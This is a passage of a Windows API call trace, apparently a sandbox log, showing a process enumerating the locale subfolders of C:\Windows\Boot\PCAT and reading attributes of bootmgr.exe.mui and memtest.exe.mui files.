	[0086.391] FindFirstFileW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\cs-CZ\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1be44e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1be44e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1be44e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.392] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.392] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\windows\\boot\\pcat\\cs-cz\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x12799228 | out: lpFileInformation=0x12799228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5f17e3, ftCreationTime.dwHighDateTime=0x1ca041d, ftLastAccessTime.dwLowDateTime=0xcd224851, ftLastAccessTime.dwHighDateTime=0x1ca041d, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50)) returned 1
	[0086.392] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\da-DK" (normalized: "c:\\windows\\boot\\pcat\\da-dk"), fInfoLevelId=0x0, lpFileInformation=0x12799278 | out: lpFileInformation=0x12799278*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1be44e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1be44e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1be44e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.393] CreateFileW (lpFileName="C:\\Windows\\Boot\\PCAT\\da-DK" (normalized: "c:\\windows\\boot\\pcat\\da-dk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.393] FindFirstFileW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\da-DK\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1be44e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1be44e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1be44e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.393] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.393] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\windows\\boot\\pcat\\da-dk\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x12799318 | out: lpFileInformation=0x12799318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6db8ad4, ftCreationTime.dwHighDateTime=0x1ca041d, ftLastAccessTime.dwLowDateTime=0xc79ebb42, ftLastAccessTime.dwHighDateTime=0x1ca041d, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640)) returned 1
	[0086.394] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\de-DE" (normalized: "c:\\windows\\boot\\pcat\\de-de"), fInfoLevelId=0x0, lpFileInformation=0x12799368 | out: lpFileInformation=0x12799368*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1e45a8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1e45a8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1e45a8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.394] CreateFileW (lpFileName="C:\\Windows\\Boot\\PCAT\\de-DE" (normalized: "c:\\windows\\boot\\pcat\\de-de"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.394] FindFirstFileW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\de-DE\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1e45a8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1e45a8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1e45a8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.394] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.394] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\windows\\boot\\pcat\\de-de\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x12799408 | out: lpFileInformation=0x12799408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcda2d25b, ftCreationTime.dwHighDateTime=0x1ca041d, ftLastAccessTime.dwLowDateTime=0xce61400b, ftLastAccessTime.dwHighDateTime=0x1ca041d, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640)) returned 1
	[0086.394] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\el-GR" (normalized: "c:\\windows\\boot\\pcat\\el-gr"), fInfoLevelId=0x0, lpFileInformation=0x12799458 | out: lpFileInformation=0x12799458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1e45a8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1e45a8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1e45a8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.395] CreateFileW (lpFileName="C:\\Windows\\Boot\\PCAT\\el-GR" (normalized: "c:\\windows\\boot\\pcat\\el-gr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.395] FindFirstFileW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\el-GR\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1e45a8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1e45a8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1e45a8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.395] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.395] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\windows\\boot\\pcat\\el-gr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x127994f8 | out: lpFileInformation=0x127994f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca6b37f5, ftCreationTime.dwHighDateTime=0x1ca041d, ftLastAccessTime.dwLowDateTime=0xcb29a5a5, ftLastAccessTime.dwHighDateTime=0x1ca041d, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250)) returned 1
	[0086.396] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\en-US" (normalized: "c:\\windows\\boot\\pcat\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x12799548 | out: lpFileInformation=0x12799548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1e45a8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1e9f4a12, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.396] CreateFileW (lpFileName="C:\\Windows\\Boot\\PCAT\\en-US" (normalized: "c:\\windows\\boot\\pcat\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.396] FindFirstFileW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\en-US\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1e45a8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1e9f4a12, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.396] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.396] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\en-US\\bootmgr.exe.mui" (normalized: "c:\\windows\\boot\\pcat\\en-us\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x12799638 | out: lpFileInformation=0x12799638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc58e4ae0, ftCreationTime.dwHighDateTime=0x1ca041d, ftLastAccessTime.dwLowDateTime=0xc68116ba, ftLastAccessTime.dwHighDateTime=0x1ca041d, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40)) returned 1
	[0086.396] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\en-US\\memtest.exe.mui" (normalized: "c:\\windows\\boot\\pcat\\en-us\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x12799688 | out: lpFileInformation=0x12799688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3080a8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ae9ce74, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50)) returned 1
	[0086.397] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\es-ES" (normalized: "c:\\windows\\boot\\pcat\\es-es"), fInfoLevelId=0x0, lpFileInformation=0x127996d8 | out: lpFileInformation=0x127996d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1e45a8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1e45a8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1e45a8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.397] CreateFileW (lpFileName="C:\\Windows\\Boot\\PCAT\\es-ES" (normalized: "c:\\windows\\boot\\pcat\\es-es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.397] FindFirstFileW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\es-ES\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1e45a8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1e45a8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1e45a8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.397] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.397] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\windows\\boot\\pcat\\es-es\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x12799778 | out: lpFileInformation=0x12799778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca7be18e, ftCreationTime.dwHighDateTime=0x1ca041d, ftLastAccessTime.dwLowDateTime=0xcb43d4ba, ftLastAccessTime.dwHighDateTime=0x1ca041d, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050)) returned 1
	[0086.398] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\fi-FI" (normalized: "c:\\windows\\boot\\pcat\\fi-fi"), fInfoLevelId=0x0, lpFileInformation=0x127997c8 | out: lpFileInformation=0x127997c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe2569b6, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe27cb10, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe27cb10, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.398] CreateFileW (lpFileName="C:\\Windows\\Boot\\PCAT\\fi-FI" (normalized: "c:\\windows\\boot\\pcat\\fi-fi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.398] FindFirstFileW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\fi-FI\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe2569b6, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe27cb10, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe27cb10, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.398] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.398] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\windows\\boot\\pcat\\fi-fi\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x12799868 | out: lpFileInformation=0x12799868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6b31385, ftCreationTime.dwHighDateTime=0x1ca041d, ftLastAccessTime.dwLowDateTime=0xc76cbe77, ftLastAccessTime.dwHighDateTime=0x1ca041d, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40)) returned 1
	[0086.399] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\fr-FR" (normalized: "c:\\windows\\boot\\pcat\\fr-fr"), fInfoLevelId=0x0, lpFileInformation=0x127998b8 | out: lpFileInformation=0x127998b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe27cb10, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe27cb10, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe27cb10, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.400] CreateFileW (lpFileName="C:\\Windows\\Boot\\PCAT\\fr-FR" (normalized: "c:\\windows\\boot\\pcat\\fr-fr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.400] FindFirstFileW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\fr-FR\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe27cb10, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe27cb10, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe27cb10, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.400] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.400] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\windows\\boot\\pcat\\fr-fr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x12799958 | out: lpFileInformation=0x12799958*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc786ed8c, ftCreationTime.dwHighDateTime=0x1ca041d, ftLastAccessTime.dwLowDateTime=0xc842f9dd, ftLastAccessTime.dwHighDateTime=0x1ca041d, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40)) returned 1
	[0086.400] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\hu-HU" (normalized: "c:\\windows\\boot\\pcat\\hu-hu"), fInfoLevelId=0x0, lpFileInformation=0x127999a8 | out: lpFileInformation=0x127999a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe27cb10, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe27cb10, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe27cb10, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.401] CreateFileW (lpFileName="C:\\Windows\\Boot\\PCAT\\hu-HU" (normalized: "c:\\windows\\boot\\pcat\\hu-hu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.401] FindFirstFileW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\hu-HU\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe27cb10, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe27cb10, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe27cb10, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.401] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.401] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\windows\\boot\\pcat\\hu-hu\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x12799a48 | out: lpFileInformation=0x12799a48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5c50a69, ftCreationTime.dwHighDateTime=0x1ca041d, ftLastAccessTime.dwLowDateTime=0xc68a9c36, ftLastAccessTime.dwHighDateTime=0x1ca041d, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240)) returned 1
	[0086.402] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\it-IT" (normalized: "c:\\windows\\boot\\pcat\\it-it"), fInfoLevelId=0x0, lpFileInformation=0x12799a98 | out: lpFileInformation=0x12799a98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe27cb10, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe27cb10, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe27cb10, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.402] CreateFileW (lpFileName="C:\\Windows\\Boot\\PCAT\\it-IT" (normalized: "c:\\windows\\boot\\pcat\\it-it"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.402] FindFirstFileW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\it-IT\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe27cb10, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe27cb10, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe27cb10, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.402] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.402] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\windows\\boot\\pcat\\it-it\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x12799b38 | out: lpFileInformation=0x12799b38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc35301d0, ftCreationTime.dwHighDateTime=0x1ca041d, ftLastAccessTime.dwLowDateTime=0xc41fb7ba, ftLastAccessTime.dwHighDateTime=0x1ca041d, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250)) returned 1
	[0086.402] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\ja-JP" (normalized: "c:\\windows\\boot\\pcat\\ja-jp"), fInfoLevelId=0x0, lpFileInformation=0x12799b88 | out: lpFileInformation=0x12799b88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe27cb10, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe27cb10, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe27cb10, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.402] CreateFileW (lpFileName="C:\\Windows\\Boot\\PCAT\\ja-JP" (normalized: "c:\\windows\\boot\\pcat\\ja-jp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.402] FindFirstFileW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\ja-JP\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe27cb10, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe27cb10, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe27cb10, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.403] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.403] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\windows\\boot\\pcat\\ja-jp\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x12799c28 | out: lpFileInformation=0x12799c28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc92ea19a, ftCreationTime.dwHighDateTime=0x1ca041d, ftLastAccessTime.dwLowDateTime=0xc9f694c6, ftLastAccessTime.dwHighDateTime=0x1ca041d, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40)) returned 1
	[0086.403] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\ko-KR" (normalized: "c:\\windows\\boot\\pcat\\ko-kr"), fInfoLevelId=0x0, lpFileInformation=0x12799c78 | out: lpFileInformation=0x12799c78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe27cb10, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe2a2c6a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe2a2c6a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.404] CreateFileW (lpFileName="C:\\Windows\\Boot\\PCAT\\ko-KR" (normalized: "c:\\windows\\boot\\pcat\\ko-kr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.404] FindFirstFileW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\ko-KR\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe27cb10, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe2a2c6a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe2a2c6a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.404] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.404] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\windows\\boot\\pcat\\ko-kr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x12799d18 | out: lpFileInformation=0x12799d18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6b31385, ftCreationTime.dwHighDateTime=0x1ca041d, ftLastAccessTime.dwLowDateTime=0xc77fc96f, ftLastAccessTime.dwHighDateTime=0x1ca041d, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650)) returned 1
